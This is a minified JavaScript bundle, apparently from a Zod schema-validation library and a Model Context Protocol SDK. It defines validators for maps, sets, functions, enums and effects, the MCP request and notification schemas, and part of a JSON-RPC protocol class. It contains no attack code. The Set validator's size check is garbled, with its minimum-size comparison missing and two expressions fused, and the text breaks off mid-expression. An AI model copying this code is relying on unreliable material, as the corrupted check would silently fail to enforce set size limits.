a({keyType:vr.create(),valueType:e,typeName:W.ZodRecord,...Q(t)})}},st=class extends K{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.map)return D(s,{code:w.invalid_type,expected:k.map,received:s.parsedType}),z;let r=this._def.keyType,n=this._def.valueType,l=[...s.data.entries()].map(([i,f],d)=>({key:r._parse(new Ue(s,i,s.path,[d,"key"])),value:n._parse(new Ue(s,f,s.path,[d,"value"]))}));if(s.common.async){let i=new Map;return Promise.resolve().then(async()=>{for(let f of l){let d=await f.key,h=await f.value;if(d.status==="aborted"||h.status==="aborted")return z;(d.status==="dirty"||h.status==="dirty")&&t.dirty(),i.set(d.value,h.value)}return{status:t.value,value:i}})}else{let i=new Map;for(let f of l){let d=f.key,h=f.value;if(d.status==="aborted"||h.status==="aborted")return z;(d.status==="dirty"||h.status==="dirty")&&t.dirty(),i.set(d.value,h.value)}return{status:t.value,value:i}}}};st.create=(a,e,t)=>new st({valueType:e,keyType:a,typeName:W.ZodMap,...Q(t)});var nt=class a extends K{_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.set)return D(s,{code:w.invalid_type,expected:k.set,received:s.parsedType}),z;let r=this._def;r.minSize!==null&&s.data.sizer.maxSize.value&&(D(s,{code:w.too_big,maximum:r.maxSize.value,type:"set",inclusive:!0,exact:!1,message:r.maxSize.message}),t.dirty());let n=this._def.valueType;function l(f){let d=new Set;for(let h of f){if(h.status==="aborted")return z;h.status==="dirty"&&t.dirty(),d.add(h.value)}return{status:t.value,value:d}}let i=[...s.data.values()].map((f,d)=>n._parse(new Ue(s,f,s.path,d)));return s.common.async?Promise.all(i).then(f=>l(f)):l(i)}min(e,t){return new a({...this._def,minSize:{value:e,message:U.toString(t)}})}max(e,t){return new a({...this._def,maxSize:{value:e,message:U.toString(t)}})}size(e,t){return this.min(e,t).max(e,t)}nonempty(e){return this.min(1,e)}};nt.create=(a,e)=>new nt({valueType:a,minSize:null,maxSize:null,typeName:W.ZodSet,...Q(e)});var kt=class a extends K{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:t}=this._processInputParams(e);if(t.parsedType!==k.function)return D(t,{code:w.invalid_type,expected:k.function,received:t.parsedType}),z;function s(i,f){return vt({data:i,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,Xr(),cr].filter(d=>!!d),issueData:{code:w.invalid_arguments,argumentsError:f}})}function r(i,f){return vt({data:i,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,Xr(),cr].filter(d=>!!d),issueData:{code:w.invalid_return_type,returnTypeError:f}})}let n={errorMap:t.common.contextualErrorMap},l=t.data;if(this._def.returns instanceof yr){let i=this;return we(async function(...f){let d=new Ae([]),h=await i._def.args.parseAsync(f,n).catch(c=>{throw d.addIssue(s(f,c)),d}),m=await Reflect.apply(l,this,h);return await i._def.returns._def.type.parseAsync(m,n).catch(c=>{throw d.addIssue(r(m,c)),d})})}else{let i=this;return we(function(...f){let d=i._def.args.safeParse(f,n);if(!d.success)throw new Ae([s(f,d.error)]);let h=Reflect.apply(l,this,d.data),m=i._def.returns.safeParse(h,n);if(!m.success)throw new Ae([r(h,m.error)]);return m.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new a({...this._def,args:rr.create(e).rest(dr.create())})}returns(e){return new a({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,t,s){return new a({args:e||rr.create([]).rest(dr.create()),returns:t||dr.create(),typeName:W.ZodFunction,...Q(s)})}},jr=class extends K{get schema(){return this._def.getter()}_parse(e){let{ctx:t}=this._processInputParams(e);return this._def.getter()._parse({data:t.data,path:t.path,parent:t})}};jr.create=(a,e)=>new jr({getter:a,typeName:W.ZodLazy,...Q(e)});var Fr=class extends K{_parse(e){if(e.data!==this._def.value){let t=this._getOrReturnCtx(e);return D(t,{received:t.data,code:w.invalid_literal,expected:this._def.value}),z}return{status:"valid",value:e.data}}get value(){return this._def.value}};Fr.create=(a,e)=>new Fr({value:a,typeName:W.ZodLiteral,...Q(e)});function ks(a,e){return new Mr({values:a,typeName:W.ZodEnum,...Q(e)})}var Mr=class a extends K{_parse(e){if(typeof e.data!="string"){let t=this._getOrReturnCtx(e),s=this._def.values;return D(t,{expected:Y.joinValues(s),received:t.parsedType,code:w.invalid_type}),z}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let t=this._getOrReturnCtx(e),s=this._def.values;return D(t,{received:t.data,code:w.invalid_enum_value,options:s}),z}return we(e.data)}get options(){return this._def.values}get enum(){let e={};for(let t of this._def.values)e[t]=t;return e}get Values(){let e={};for(let t of this._def.values)e[t]=t;return e}get Enum(){let e={};for(let t of this._def.values)e[t]=t;return e}extract(e,t=this._def){return a.create(e,{...this._def,...t})}exclude(e,t=this._def){return a.create(this.options.filter(s=>!e.includes(s)),{...this._def,...t})}};Mr.create=ks;var qr=class extends K{_parse(e){let t=Y.getValidEnumValues(this._def.values),s=this._getOrReturnCtx(e);if(s.parsedType!==k.string&&s.parsedType!==k.number){let r=Y.objectValues(t);return D(s,{expected:Y.joinValues(r),received:s.parsedType,code:w.invalid_type}),z}if(this._cache||(this._cache=new Set(Y.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let r=Y.objectValues(t);return D(s,{received:s.data,code:w.invalid_enum_value,options:r}),z}return we(e.data)}get enum(){return this._def.values}};qr.create=(a,e)=>new qr({values:a,typeName:W.ZodNativeEnum,...Q(e)});var yr=class extends K{unwrap(){return this._def.type}_parse(e){let{ctx:t}=this._processInputParams(e);if(t.parsedType!==k.promise&&t.common.async===!1)return D(t,{code:w.invalid_type,expected:k.promise,received:t.parsedType}),z;let s=t.parsedType===k.promise?t.data:Promise.resolve(t.data);return we(s.then(r=>this._def.type.parseAsync(r,{path:t.path,errorMap:t.common.contextualErrorMap})))}};yr.create=(a,e)=>new yr({type:a,typeName:W.ZodPromise,...Q(e)});var Ve=class extends K{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===W.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:t,ctx:s}=this._processInputParams(e),r=this._def.effect||null,n={addIssue:l=>{D(s,l),l.fatal?t.abort():t.dirty()},get path(){return s.path}};if(n.addIssue=n.addIssue.bind(n),r.type==="preprocess"){let l=r.transform(s.data,n);if(s.common.async)return Promise.resolve(l).then(async i=>{if(t.value==="aborted")return z;let f=await this._def.schema._parseAsync({data:i,path:s.path,parent:s});return f.status==="aborted"?z:f.status==="dirty"?Or(f.value):t.value==="dirty"?Or(f.value):f});{if(t.value==="aborted")return z;let i=this._def.schema._parseSync({data:l,path:s.path,parent:s});return i.status==="aborted"?z:i.status==="dirty"?Or(i.value):t.value==="dirty"?Or(i.value):i}}if(r.type==="refinement"){let l=i=>{let f=r.refinement(i,n);if(s.common.async)return Promise.resolve(f);if(f instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return i};if(s.common.async===!1){let i=this._def.schema._parseSync({data:s.data,path:s.path,parent:s});return i.status==="aborted"?z:(i.status==="dirty"&&t.dirty(),l(i.value),{status:t.value,value:i.value})}else return this._def.schema._parseAsync({data:s.data,path:s.path,parent:s}).then(i=>i.status==="aborted"?z:(i.status==="dirty"&&t.dirty(),l(i.value).then(()=>({status:t.value,value:i.value}))))}if(r.type==="transform")if(s.common.async===!1){let l=this._def.schema._parseSync({data:s.data,path:s.path,parent:s});if(!mr(l))return z;let i=r.transform(l.value,n);if(i instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:t.value,value:i}}else return this._def.schema._parseAsync({data:s.data,path:s.path,parent:s}).then(l=>mr(l)?Promise.resolve(r.transform(l.value,n)).then(i=>({status:t.value,value:i})):z);Y.assertNever(r)}};Ve.create=(a,e,t)=>new Ve({schema:a,typeName:W.ZodEffects,effect:e,...Q(t)});Ve.createWithPreprocess=(a,e,t)=>new Ve({schema:e,effect:{type:"preprocess",transform:a},typeName:W.ZodEffects,...Q(t)});var qe=class extends K{_parse(e){return this._getType(e)===k.undefined?we(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};qe.create=(a,e)=>new qe({innerType:a,typeName:W.ZodOptional,...Q(e)});var tr=class extends K{_parse(e){return this._getType(e)===k.null?we(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};tr.create=(a,e)=>new tr({innerType:a,typeName:W.ZodNullable,...Q(e)});var Ur=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s=t.data;return t.parsedType===k.undefined&&(s=this._def.defaultValue()),this._def.innerType._parse({data:s,path:t.path,parent:t})}removeDefault(){return this._def.innerType}};Ur.create=(a,e)=>new Ur({innerType:a,typeName:W.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...Q(e)});var Vr=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s={...t,common:{...t.common,issues:[]}},r=this._def.innerType._parse({data:s.data,path:s.path,parent:{...s}});return et(r)?r.then(n=>({status:"valid",value:n.status==="valid"?n.value:this._def.catchValue({get error(){return new Ae(s.common.issues)},input:s.data})})):{status:"valid",value:r.status==="valid"?r.value:this._def.catchValue({get error(){return new Ae(s.common.issues)},input:s.data})}}removeCatch(){return this._def.innerType}};Vr.create=(a,e)=>new Vr({innerType:a,typeName:W.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...Q(e)});var it=class extends K{_parse(e){if(this._getType(e)!==k.nan){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.nan,received:s.parsedType}),z}return{status:"valid",value:e.data}}};it.create=a=>new it({typeName:W.ZodNaN,...Q(a)});var _l=Symbol("zod_brand"),gt=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s=t.data;return this._def.type._parse({data:s,path:t.path,parent:t})}unwrap(){return this._def.type}},yt=class a extends K{_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.common.async)return(async()=>{let n=await this._def.in._parseAsync({data:s.data,path:s.path,parent:s});return n.status==="aborted"?z:n.status==="dirty"?(t.dirty(),Or(n.value)):this._def.out._parseAsync({data:n.value,path:s.path,parent:s})})();{let r=this._def.in._parseSync({data:s.data,path:s.path,parent:s});return r.status==="aborted"?z:r.status==="dirty"?(t.dirty(),{status:"dirty",value:r.value}):this._def.out._parseSync({data:r.value,path:s.path,parent:s})}}static create(e,t){return new a({in:e,out:t,typeName:W.ZodPipeline})}},Hr=class extends K{_parse(e){let t=this._def.innerType._parse(e),s=r=>(mr(r)&&(r.value=Object.freeze(r.value)),r);return et(t)?t.then(r=>s(r)):s(t)}unwrap(){return this._def.innerType}};Hr.create=(a,e)=>new Hr({innerType:a,typeName:W.ZodReadonly,...Q(e)});function $s(a,e){let t=typeof a=="function"?a(e):typeof a=="string"?{message:a}:a;return typeof t=="string"?{message:t}:t}function Ns(a,e={},t){return a?gr.create().superRefine((s,r)=>{let n=a(s);if(n instanceof Promise)return n.then(l=>{if(!l){let i=$s(e,s),f=i.fatal??t??!0;r.addIssue({code:"custom",...i,fatal:f})}});if(!n){let l=$s(e,s),i=l.fatal??t??!0;r.addIssue({code:"custom",...l,fatal:i})}}):gr.create()}var El={object:Ce.lazycreate},W;(function(a){a.ZodString="ZodString",a.ZodNumber="ZodNumber",a.ZodNaN="ZodNaN",a.ZodBigInt="ZodBigInt",a.ZodBoolean="ZodBoolean",a.ZodDate="ZodDate",a.ZodSymbol="ZodSymbol",a.ZodUndefined="ZodUndefined",a.ZodNull="ZodNull",a.ZodAny="ZodAny",a.ZodUnknown="ZodUnknown",a.ZodNever="ZodNever",a.ZodVoid="ZodVoid",a.ZodArray="ZodArray",a.ZodObject="ZodObject",a.ZodUnion="ZodUnion",a.ZodDiscriminatedUnion="ZodDiscriminatedUnion",a.ZodIntersection="ZodIntersection",a.ZodTuple="ZodTuple",a.ZodRecord="ZodRecord",a.ZodMap="ZodMap",a.ZodSet="ZodSet",a.ZodFunction="ZodFunction",a.ZodLazy="ZodLazy",a.ZodLiteral="ZodLiteral",a.ZodEnum="ZodEnum",a.ZodEffects="ZodEffects",a.ZodNativeEnum="ZodNativeEnum",a.ZodOptional="ZodOptional",a.ZodNullable="ZodNullable",a.ZodDefault="ZodDefault",a.ZodCatch="ZodCatch",a.ZodPromise="ZodPromise",a.ZodBranded="ZodBranded",a.ZodPipeline="ZodPipeline",a.ZodReadonly="ZodReadonly"})(W||(W={}));var Sl=(a,e={message:`Input not instance of ${a.name}`})=>Ns(t=>t instanceof a,e),Ls=vr.create,js=Ir.create,bl=it.create,Pl=$r.create,Fs=Ar.create,xl=Cr.create,wl=tt.create,Rl=Dr.create,Tl=kr.create,Ol=gr.create,Il=dr.create,$l=Qe.create,Al=at.create,Cl=fr.create,Dl=Ce.create,kl=Ce.strictCreate,Nl=Nr.create,Ll=Ct.create,jl=Lr.create,Fl=rr.create,Ml=Dt.create,ql=st.create,Ul=nt.create,Vl=kt.create,Hl=jr.create,zl=Fr.create,Wl=Mr.create,Bl=qr.create,Ql=yr.create,Zl=Ve.create,Kl=qe.create,Gl=tr.create,Jl=Ve.createWithPreprocess,Yl=yt.create,Xl=()=>Ls().optional(),ec=()=>js().optional(),rc=()=>Fs().optional(),tc={string:(a=>vr.create({...a,coerce:!0})),number:(a=>Ir.create({...a,coerce:!0})),boolean:(a=>Ar.create({...a,coerce:!0})),bigint:(a=>$r.create({...a,coerce:!0})),date:(a=>Cr.create({...a,coerce:!0}))};var ac=z;var xa="2025-06-18";var Ms=[xa,"2025-03-26","2024-11-05","2024-10-07"],Nt="2.0",qs=o.union([o.string(),o.number().int()]),Us=o.string(),sc=o.object({progressToken:o.optional(qs)}).passthrough(),He=o.object({_meta:o.optional(sc)}).passthrough(),De=o.object({method:o.string(),params:o.optional(He)}),_t=o.object({_meta:o.optional(o.object({}).passthrough())}).passthrough(),ar=o.object({method:o.string(),params:o.optional(_t)}),ze=o.object({_meta:o.optional(o.object({}).passthrough())}).passthrough(),Lt=o.union([o.string(),o.number().int()]),Vs=o.object({jsonrpc:o.literal(Nt),id:Lt}).merge(De).strict(),Hs=a=>Vs.safeParse(a).success,zs=o.object({jsonrpc:o.literal(Nt)}).merge(ar).strict(),Ws=a=>zs.safeParse(a).success,Bs=o.object({jsonrpc:o.literal(Nt),id:Lt,result:ze}).strict(),wa=a=>Bs.safeParse(a).success,Ze;(function(a){a[a.ConnectionClosed=-32e3]="ConnectionClosed",a[a.RequestTimeout=-32001]="RequestTimeout",a[a.ParseError=-32700]="ParseError",a[a.InvalidRequest=-32600]="InvalidRequest",a[a.MethodNotFound=-32601]="MethodNotFound",a[a.InvalidParams=-32602]="InvalidParams",a[a.InternalError=-32603]="InternalError"})(Ze||(Ze={}));var Qs=o.object({jsonrpc:o.literal(Nt),id:Lt,error:o.object({code:o.number().int(),message:o.string(),data:o.optional(o.unknown())})}).strict(),Zs=a=>Qs.safeParse(a).success,Ks=o.union([Vs,zs,Bs,Qs]),jt=ze.strict(),Ft=ar.extend({method:o.literal("notifications/cancelled"),params:_t.extend({requestId:Lt,reason:o.string().optional()})}),nc=o.object({src:o.string(),mimeType:o.optional(o.string()),sizes:o.optional(o.array(o.string()))}).passthrough(),Et=o.object({icons:o.array(nc).optional()}).passthrough(),St=o.object({name:o.string(),title:o.optional(o.string())}).passthrough(),Gs=St.extend({version:o.string(),websiteUrl:o.optional(o.string())}).merge(Et),ic=o.object({experimental:o.optional(o.object({}).passthrough()),sampling:o.optional(o.object({}).passthrough()),elicitation:o.optional(o.object({}).passthrough()),roots:o.optional(o.object({listChanged:o.optional(o.boolean())}).passthrough())}).passthrough(),Ra=De.extend({method:o.literal("initialize"),params:He.extend({protocolVersion:o.string(),capabilities:ic,clientInfo:Gs})});var oc=o.object({experimental:o.optional(o.object({}).passthrough()),logging:o.optional(o.object({}).passthrough()),completions:o.optional(o.object({}).passthrough()),prompts:o.optional(o.object({listChanged:o.optional(o.boolean())}).passthrough()),resources:o.optional(o.object({subscribe:o.optional(o.boolean()),listChanged:o.optional(o.boolean())}).passthrough()),tools:o.optional(o.object({listChanged:o.optional(o.boolean())}).passthrough())}).passthrough(),lc=ze.extend({protocolVersion:o.string(),capabilities:oc,serverInfo:Gs,instructions:o.optional(o.string())}),Ta=ar.extend({method:o.literal("notifications/initialized")});var Mt=De.extend({method:o.literal("ping")}),cc=o.object({progress:o.number(),total:o.optional(o.number()),message:o.optional(o.string())}).passthrough(),qt=ar.extend({method:o.literal("notifications/progress"),params:_t.merge(cc).extend({progressToken:qs})}),Ut=De.extend({params:He.extend({cursor:o.optional(Us)}).optional()}),Vt=ze.extend({nextCursor:o.optional(Us)}),Js=o.object({uri:o.string(),mimeType:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Ys=Js.extend({text:o.string()}),Oa=o.string().refine(a=>{try{return atob(a),!0}catch{return!1}},{message:"Invalid Base64 string"}),Xs=Js.extend({blob:Oa}),en=St.extend({uri:o.string(),description:o.optional(o.string()),mimeType:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).merge(Et),uc=St.extend({uriTemplate:o.string(),description:o.optional(o.string()),mimeType:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).merge(Et),dc=Ut.extend({method:o.literal("resources/list")}),fc=Vt.extend({resources:o.array(en)}),hc=Ut.extend({method:o.literal("resources/templates/list")}),pc=Vt.extend({resourceTemplates:o.array(uc)}),mc=De.extend({method:o.literal("resources/read"),params:He.extend({uri:o.string()})}),vc=ze.extend({contents:o.array(o.union([Ys,Xs]))}),gc=ar.extend({method:o.literal("notifications/resources/list_changed")}),yc=De.extend({method:o.literal("resources/subscribe"),params:He.extend({uri:o.string()})}),_c=De.extend({method:o.literal("resources/unsubscribe"),params:He.extend({uri:o.string()})}),Ec=ar.extend({method:o.literal("notifications/resources/updated"),params:_t.extend({uri:o.string()})}),Sc=o.object({name:o.string(),description:o.optional(o.string()),required:o.optional(o.boolean())}).passthrough(),bc=St.extend({description:o.optional(o.string()),arguments:o.optional(o.array(Sc)),_meta:o.optional(o.object({}).passthrough())}).merge(Et),Pc=Ut.extend({method:o.literal("prompts/list")}),xc=Vt.extend({prompts:o.array(bc)}),wc=De.extend({method:o.literal("prompts/get"),params:He.extend({name:o.string(),arguments:o.optional(o.record(o.string()))})}),Ia=o.object({type:o.literal("text"),text:o.string(),_meta:o.optional(o.object({}).passthrough())}).passthrough(),$a=o.object({type:o.literal("image"),data:Oa,mimeType:o.string(),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Aa=o.object({type:o.literal("audio"),data:Oa,mimeType:o.string(),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Rc=o.object({type:o.literal("resource"),resource:o.union([Ys,Xs]),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Tc=en.extend({type:o.literal("resource_link")}),rn=o.union([Ia,$a,Aa,Tc,Rc]),Oc=o.object({role:o.enum(["user","assistant"]),content:rn}).passthrough(),Ic=ze.extend({description:o.optional(o.string()),messages:o.array(Oc)}),$c=ar.extend({method:o.literal("notifications/prompts/list_changed")}),Ac=o.object({title:o.optional(o.string()),readOnlyHint:o.optional(o.boolean()),destructiveHint:o.optional(o.boolean()),idempotentHint:o.optional(o.boolean()),openWorldHint:o.optional(o.boolean())}).passthrough(),Cc=St.extend({description:o.optional(o.string()),inputSchema:o.object({type:o.literal("object"),properties:o.optional(o.object({}).passthrough()),required:o.optional(o.array(o.string()))}).passthrough(),outputSchema:o.optional(o.object({type:o.literal("object"),properties:o.optional(o.object({}).passthrough()),required:o.optional(o.array(o.string()))}).passthrough()),annotations:o.optional(Ac),_meta:o.optional(o.object({}).passthrough())}).merge(Et),Ca=Ut.extend({method:o.literal("tools/list")}),Dc=Vt.extend({tools:o.array(Cc)}),tn=ze.extend({content:o.array(rn).default([]),structuredContent:o.object({}).passthrough().optional(),isError:o.optional(o.boolean())}),Pf=tn.or(ze.extend({toolResult:o.unknown()})),Da=De.extend({method:o.literal("tools/call"),params:He.extend({name:o.string(),arguments:o.optional(o.record(o.unknown()))})}),kc=ar.extend({method:o.literal("notifications/tools/list_changed")}),bt=o.enum(["debug","info","notice","warning","error","critical","alert","emergency"]),ka=De.extend({method:o.literal("logging/setLevel"),params:He.extend({level:bt})}),Nc=ar.extend({method:o.literal("notifications/message"),params:_t.extend({level:bt,logger:o.optional(o.string()),data:o.unknown()})}),Lc=o.object({name:o.string().optional()}).passthrough(),jc=o.object({hints:o.optional(o.array(Lc)),costPriority:o.optional(o.number().min(0).max(1)),speedPriority:o.optional(o.number().min(0).max(1)),intelligencePriority:o.optional(o.number().min(0).max(1))}).passthrough(),Fc=o.object({role:o.enum(["user","assistant"]),content:o.union([Ia,$a,Aa])}).passthrough(),Mc=De.extend({method:o.literal("sampling/createMessage"),params:He.extend({messages:o.array(Fc),systemPrompt:o.optional(o.string()),includeContext:o.optional(o.enum(["none","thisServer","allServers"])),temperature:o.optional(o.number()),maxTokens:o.number().int(),stopSequences:o.optional(o.array(o.string())),metadata:o.optional(o.object({}).passthrough()),modelPreferences:o.optional(jc)})}),Na=ze.extend({model:o.string(),stopReason:o.optional(o.enum(["endTurn","stopSequence","maxTokens"]).or(o.string())),role:o.enum(["user","assistant"]),content:o.discriminatedUnion("type",[Ia,$a,Aa])}),qc=o.object({type:o.literal("boolean"),title:o.optional(o.string()),description:o.optional(o.string()),default:o.optional(o.boolean())}).passthrough(),Uc=o.object({type:o.literal("string"),title:o.optional(o.string()),description:o.optional(o.string()),minLength:o.optional(o.number()),maxLength:o.optional(o.number()),format:o.optional(o.enum(["email","uri","date","date-time"]))}).passthrough(),Vc=o.object({type:o.enum(["number","integer"]),title:o.optional(o.string()),description:o.optional(o.string()),minimum:o.optional(o.number()),maximum:o.optional(o.number())}).passthrough(),Hc=o.object({type:o.literal("string"),title:o.optional(o.string()),description:o.optional(o.string()),enum:o.array(o.string()),enumNames:o.optional(o.array(o.string()))}).passthrough(),zc=o.union([qc,Uc,Vc,Hc]),Wc=De.extend({method:o.literal("elicitation/create"),params:He.extend({message:o.string(),requestedSchema:o.object({type:o.literal("object"),properties:o.record(o.string(),zc),required:o.optional(o.array(o.string()))}).passthrough()})}),La=ze.extend({action:o.enum(["accept","decline","cancel"]),content:o.optional(o.record(o.string(),o.unknown()))}),Bc=o.object({type:o.literal("ref/resource"),uri:o.string()}).passthrough();var Qc=o.object({type:o.literal("ref/prompt"),name:o.string()}).passthrough(),Zc=De.extend({method:o.literal("completion/complete"),params:He.extend({ref:o.union([Qc,Bc]),argument:o.object({name:o.string(),value:o.string()}).passthrough(),context:o.optional(o.object({arguments:o.optional(o.record(o.string(),o.string()))}))})}),Kc=ze.extend({completion:o.object({values:o.array(o.string()).max(100),total:o.optional(o.number().int()),hasMore:o.optional(o.boolean())}).passthrough()}),Gc=o.object({uri:o.string().startsWith("file://"),name:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Jc=De.extend({method:o.literal("roots/list")}),ja=ze.extend({roots:o.array(Gc)}),Yc=ar.extend({method:o.literal("notifications/roots/list_changed")}),xf=o.union([Mt,Ra,Zc,ka,wc,Pc,dc,hc,mc,yc,_c,Da,Ca]),wf=o.union([Ft,qt,Ta,Yc]),Rf=o.union([jt,Na,La,ja]),Tf=o.union([Mt,Mc,Wc,Jc]),Of=o.union([Ft,qt,Nc,Ec,gc,kc,$c]),If=o.union([jt,lc,Kc,Ic,xc,fc,pc,vc,tn,Dc]),Ke=class extends Error{constructor(e,t,s){super(`MCP error ${e}: ${t}`),this.code=e,this.data=s,this.name="McpError"}};var Xc=6e4,Ht=class{constructor(e){this._options=e,this._requestMessageId=0,this._requestHandlers=new Map,this._requestHandlerAbortControllers=new Map,this._notificationHandlers=new Map,this._responseHandlers=new Map,this._progressHandlers=new Map,this._timeoutInfo=new Map,this._pendingDebouncedNotifications=new Set,this.setNotificationHandler(Ft,t=>{let s=this._requestHandlerAbortControllers.get(t.params.requestId);s?.abort(t.params.reason)}),this.setNotificationHandler(qt,t=>{this._onprogress(t)}),this.setRequestHandler(Mt,t=>({}))}_setupTimeout(e,t,s,r,n=!1){this._timeoutInfo.set(e,{timeoutId:setTimeout(r,t),startTime:Date.now(),timeout:t,maxTotalTimeout:s,resetTimeoutOnProgress:n,onTimeout:r})}_resetTimeout(e){let t=this._timeoutInfo.get(e);if(!t)return!1;let s=Date.now()-t.startTime;if(t.maxTotalTimeout&&s>=t.maxTotalTimeout)throw this._timeoutInfo.delete(e),new Ke(Ze.RequestTimeout,"Maximum total timeout exceeded",{maxTotalTimeout:t.maxTotalTimeout,totalElapsed:s});return clearTimeout(t.timeoutId),t.timeoutId=setTimeout(t.onTimeout,t.timeout),!0}_cleanupTimeout(e){let t=this._timeoutInfo.get(e);t&&(clearTimeout(t.timeoutId),this._timeoutInfo.delete(e))}async connect(e){var t,s,r;this._transport=e;let n=(t=this.transport)===null||t===void 0?void 0:t.onclose;this._transport.onclose=()=>{n?.(),this._onclose()};let l=(s=this.transport)===null||s===void 0?void 0:s.onerror;this._transport.onerror=f=>{l?.(f),this._onerror(f)};let i=(r=this._transport)===null||r===void 0?void 0:r.onmessage;this._transport.onmessage=(f,d)=>{i?.(f,d),wa(f)||Zs(f)?this._onresponse(f):Hs(f)?this._onrequest(f,d):Ws(f)?this._onnotification(f):this._onerror(new Error(`Unknown message type: ${JSON.stringify(f)}`))},await this._transport.start()}_onclose(){var e;let t=this._responseHandlers;this._responseHandlers=new Map,this._progressHandlers.clear(),this._pendingDebouncedNotifications.clear(),this._transport=void 0,(e=this.onclose)===null||e===void 0||e.call(this);let s=new Ke(Ze.ConnectionClosed,"Connection closed");for(let r of t.values())r(s)}_onerror(e){var t;(t=this.onerror)===null||t===void 0||t.call(this,e)}_onnotification(e){var t;let s=(t=this._notificationHandlers.get(e.method))!==null&&t!==void 0?t:this.fallbackNotificationHandler;s!==void 0&&Promise.resolve().then(()=>s(e)).catch(r=>this._onerror(new Error(`Uncaught error in notification handler: ${r}`)))}_onrequest(e,t){var s,r;let n=(s=this._requestHandlers.get(e.method))!==null&&s!==void 0?s:this.fallbackRequestHandler,l=this._transport;if(n===void 0){l?.send({jsonrpc:"2.0",id:e.id,error:{code:Ze.MethodNotFound,message:"Method not found"}}).catch(d=>this._onerror(new Error(`Failed to send an error response: ${d}`)));return}let i=new AbortController;this._requestHandlerAbortControllers.set(e.id,i);let f={signal:i.signal,sessionId:l?.sessionId,_meta:(r=e.params)===null||r===void 0?void 0:r._meta,sendNotification:d=>this.notification(d,{relatedRequestId:e.id}),sendRequest:(d,h,m)=>this.request(d,h,{...m,relatedRequestId:e.id}),authInfo:t?.authInfo,requestId:e.id,requestInfo:t?.requestInfo};Promise.resolve().then(()=>n(e,f)).then(d=>{if(!i.signal.aborted)return l?.send({result:d,jsonrpc:"2.0",id:e.id})},d=>{var h;if(!i.signal.aborted)return l?.send({jsonrpc:"2.0",id:e.id,error:{code:Number.isSafeInteger(d.code)?d.code:Ze.InternalError,message:(h=d.message)!==null&&h!==void 0?h:"Internal error"}})}).catch(d=>this._onerror(new Error(`Failed to send response: ${d}`))).finally(()=>{this._requestHandlerAbortControllers.delete(e.id)})}_onprogress(e){let{progressToken:t,...s}=e.params,r=Number(t),n=this._progressHandlers.get(r);if(!n){this._onerror(new Error(`Received a progress notification for an unknown token: ${JSON.stringify(e)}`));return}let l=this._responseHandlers.get(r),i=this._timeoutInfo.get(r);if(i&&l&&i.resetTimeoutOnProgress)try{this._resetTimeout(r)}catch(f){l(f);return}n(s)}_onresponse(e){let t=Number(e.id),s=this._responseHandlers.get(t);if(s===void 0){this._onerror(new Error(`Received a response for an unknown message ID: ${JSON.stringify(e)}`));return}if(this._responseHandlers.delete(t),this._progressHandlers.delete(t),this._cleanupTimeout(t),wa(e))s(e);else{let r=new Ke(e.error.code,e.error.message,e.error.data);s(r)}}get transport(){return this._transport}async close(){var e;await((e=this._transport)===null||e===void 0?void 0:e.close())}request(e,t,s){let{relatedRequestId:r,resumptionToken:n,onresumptiontoken:l}=s??{};return new Promise((i,f)=>{var d,h,m,E,c,y;if(!this._transport){f(new Error("Not connected"));return}((d=this._options)===null||d===void 0?void 0:d.enforceStrictCapabilities)===!0&&this.assertCapabilityForMethod(e.method),(h=s?.signal)===null||h===void 0||h.throwIfAborted();let _=this._requestMessageId++,v={...e,jsonrpc:"2.0",id:_};s?.onprogress&&(this._progressHandlers.set(_,s.onprogress),v.params={...e.params,_meta:{...((m=e.params)===null||m===void 0?void 0:m._meta)||{},progressToken:_}});let P=R=>{var I;this._responseHandlers.delete(_),this._progressHandlers.delete(_),this._cleanupTimeout(_),(I=this._transport)===null||I===void 0||I.send({jsonrpc:"2.0",method:"notifications/cancelled",params:{requestId:_,reason:String(R)}},{relatedRequestId:r,resumptionToken:n,onresumptiontoken:l}).catch($=>this._onerror(new Error(`Failed to send cancellation: ${$}`))),f(R)};this._responseHandlers.set(_,R=>{var I;if(!(!((I=s?.signal)===null||I===void 0)&&I.aborted)){if(R instanceof Error)return f(R);try{let $=t.parse(R.result);i($)}catch($){f($)}}}),(E=s?.signal)===null||E===void 0||E.addEventListener("abort",()=>{var R;P((R=s?.signal)===null||R===void 0?void 0:R.reason)});let T=(c=s?.timeout)!==null&&c!==void 0?c:Xc,x=()=>P(new Ke(Ze.RequestTimeout,"Request timed out",{timeout:T}));this._setupTimeout(_,T,s?.maxTotalTimeout,x,(y=s?.resetTimeoutOnProgress)!==null&&y!==void 